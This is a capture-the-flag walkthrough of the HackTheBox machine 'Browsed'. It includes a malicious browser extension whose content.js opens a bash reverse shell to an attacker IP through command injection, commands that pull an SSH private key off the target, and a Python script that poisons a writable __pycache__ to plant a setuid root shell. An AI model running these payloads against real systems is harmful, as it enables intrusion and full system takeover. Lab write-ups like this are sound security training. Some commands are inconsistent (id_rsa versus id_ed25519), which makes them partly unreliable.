# HackTheBox — Browsed
Difficulty: Medium- Hard OS: Linux
Category: Web, Privilege Escalation
Status: ✅ Pwned
Browsed is a medium-difficulty Linux machine that chains together web enumeration, a virtual host discovery, source code analysis through an exposed Gitea instance, a browser extension exploitation via a headless bot, and finally a Python __pycache__ poisoning attack for privilege escalation to root.
nmap -sC -sV -oN nmap/initial <MACHINE_IP>

Key open ports identified:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 9.6p1 Ubuntu |
| 80 | HTTP | nginx 1.24.0 |
| 1234 | HTTP | SimpleHTTPServer 0.6 (Python 3.12.3) |
| 5678 | HTTP | SimpleHTTPServer 0.6 (Python 3.12.3) |
Add the machine's hostname to your local hosts file so the domain resolves correctly:
sudo echo "<MACHINE_IP> browsed.htb" >> /etc/hosts
Navigating to http://browsed.htb reveals a web application. Browsing to the Samples page provides a downloadable ZIP file (the fontify extension package).
Steps:
http://browsed.htbUpload the same downloaded ZIP back to the upload functionality on the web application. Upon inspecting the output, Developer Tools are left exposed in the response, leaking an internal domain:
browsedinternals.htb
Add this second domain to your hosts file:
sudo echo "<MACHINE_IP> browsedinternals.htb" >> /etc/hosts
Navigating to http://browsedinternals.htb opens a Gitea instance.
On the Gitea instance, a repository under the user 's folder markdownpreview is publicly accessible. Inside the repository, two key files are present:
app.py — The main application logicroutines.sh — Background task / bot routinesVulnerability Analysis:
After reviewing app.py and routines.sh, the following attack surface is identified:
A headless browser bot runs as the
larryuser and automatically processes uploaded browser extensions. The bot loads and executes the extension'scontent.jsfile in its browsing context. Because the bot visits pages while authenticated (or within a privileged context), a maliciouscontent.jscan be used to trigger a reverse shell callback — effectively turning the bot's automated action into Remote Code Execution (RCE) under thelarryuser account.
This is a Malicious Browser Extension / XSS-via-Bot attack. The bot simulates a browser, loads the attacker-controlled extension, and executes arbitrary JavaScript — including a reverse shell payload.
Modify content.js with a reverse shell payload and update manifest.json to ensure the extension has the necessary permissions. Then repackage:
zip -j fontify_exploit.zip content.js manifest.json
manifest.json:
{
"manifest_version": 3,
"name": "exploit",
"version": "0.1",
"description": "exploit",
"background": {
"service_worker": "exploit.js"
},
"host_permissions": [
"http://127.0.0.1/*",
"http://localhost/*"
]
}
content.js:
(function() {
const TARGET_BASE = "http://127.0.0.1:5000/routines/";
const ATTACKER_IP = "Your_IP";
const ATTACKER_PORT = "Your port where you want rev shell. 32e";
const revShellCommand = `bash -c 'bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1'`;
const b64Payload = btoa(revShellCommand);
const space = " ";
const injection = `a[$(echo${space}${b64Payload}|base64${space}-d|bash)]`;
const finalURL = TARGET_BASE + encodeURIComponent(injection);
// Optional: Let you know the script started on your port 80 (python -m http.server 80)
fetch(`http://${ATTACKER_IP}/ALIVE`).catch(() => {});
// Trigger the Exploit
fetch(finalURL, {
mode: "no-cors",
cache: "no-cache"
}).then(() => {
console.log("Payload sent to internal target.");
}).catch((err) => {
console.error("Fetch failed:", err);
});
})();
Note: Adapt the payload to the exact execution environment observed in
app.py.
Open a Netcat listener before uploading:
nc -nvlp <PORT>
Upload the malicious ZIP via the web application and wait. The bot processes the extension and the reverse shell triggers.
🎉 Reverse shell received as: larry
With a shell as larry, navigate to the .ssh directory and retrieve the private key:
cd ~/.ssh
ls -la
# id_rsa (private key present)
Serve the key over HTTP from the target machine:
python3 -m http.server <SERVER_PORT>
On your attacking machine, download it:
wget http://<MACHINE_IP>:<SERVER_PORT>/id_rsa
chmod 600 id_rsa
ssh -i id_ed25519 [email protected]
✅ Stable SSH shell obtained as: larry
cd /home
cat user.txt
🚩 USER FLAG OBTAINED
sudo -l
Output:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
larry can run extension_tool.py as root without a password.
__pycache__ls -la /opt/extensiontool/
The directory contains a __pycache__ folder that is world-writable. This is the key vulnerability.
Why this matters:
When Python imports a module, it first checks __pycache__ for a precompiled .pyc bytecode file. If a writable __pycache__ exists, an attacker can place a poisoned .pyc file that gets loaded in place of the legitimate module — running arbitrary code as whatever user invoked the script (in this case, root).
Create the exploit script in /tmp:
larry@browsed:/tmp$ nano exploit.py
import os
import os
import py_compile
import shutil
# --- Configuration ---
ORIGINAL_SOURCE = "/opt/extensiontool/extension_utils.py"
TARGET_CACHE = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"
TEMP_SOURCE = "/tmp/extension_utils.py"
TEMP_PYC = "/tmp/extension_utils.pyc"
def poison_cache():
try:
# 1. Get original stats (Size and Mtime)
print(f"[*] Getting stats from {ORIGINAL_SOURCE}...")
st = os.stat(ORIGINAL_SOURCE)
orig_size = st.st_size
orig_mtime = st.st_mtime
print(f" - Original Size: {orig_size} bytes")
print(f" - Original Mtime: {orig_mtime}")
# 2. Define the malicious payload
payload_code = (
"import os\n"
"os.system('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash')\n\n"
"def validate_manifest(path):\n"
" return True\n\n"
"def clean_temp_files():\n"
" return True\n"
)
# 3. Pad to exact original size
current_len = len(payload_code)
if current_len > orig_size:
print("[-] Error: Your payload is too large for the original file size.")
return
padding_needed = orig_size - current_len - 1
final_source = payload_code + "\n" + ("#" * padding_needed)
with open(TEMP_SOURCE, "w") as f:
f.write(final_source)
# 4. Sync the source timestamp
os.utime(TEMP_SOURCE, (orig_mtime, orig_mtime))
print("[+] Malicious source created and timestamp synced.")
# 5. Compile into Bytecode
py_compile.compile(TEMP_SOURCE, cfile=TEMP_PYC)
print(f"[+] Malicious bytecode compiled to {TEMP_PYC}")
# 6. Inject the poisoned file
shutil.copyfile(TEMP_PYC, TARGET_CACHE)
print(f"[+] Poisoned .pyc successfully injected into {TARGET_CACHE}")
except Exception as e:
print(f"[-] Exploit failed: {e}")
if __name__ == "__main__":
poison_cache()
# /tmp/exploit.py
import os
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
Compile it to generate a .pyc bytecode file:
cd /tmp
python3 exploit.py
Copy the compiled .pyc into the writable __pycache__ directory, naming it to match the module that extension_tool.py imports (verify the exact module name from the source):
cp /tmp/__pycache__/exploit.cpython-3*.pyc /opt/extensiontool/__pycache__/<target_module>.cpython-3*.pyc
Run the sudo-allowed script as root:
sudo /opt/extensiontool/extension_tool.py --ext Fontify
ls -la /tmp/rootbash
# -rwsr-sr-x ... rootbash
./rootbash -p
💥 ROOT SHELL OBTAINED
# Root Flag
cd /root
cat root.txt
| Flag | Value |
|---|---|
| User | cat /home/larry/user.txt |
| Root | cat /root/root.txt |
| # | Lesson |
|---|---|
| 1 | Dev tools exposure can leak internal virtual hosts and subdomains — always inspect all HTTP responses |
| 2 | Bot-driven extension processing creates a powerful XSS/RCE surface when the bot executes attacker-controlled JS |
| 3 | Gitea / internal VHosts often hold source code with vulnerability hints — enumerate aggressively |
| 4 | Writable __pycache__ + sudo-allowed Python scripts = reliable privilege escalation via bytecode poisoning |
| 5 | Always run sudo -l immediately upon landing a shell — misconfigurations here are common privesc paths |
nmap — Port scanning and service enumerationGitea — Source code reviewzip — Packaging the malicious extensionnetcat (nc) — Reverse shell listenerpython3 -m http.server — File transferssh — Stable shell access*Writeup by: urstrulykumar7
Machine: HackTheBox — Browsed
Date: 2026-03-21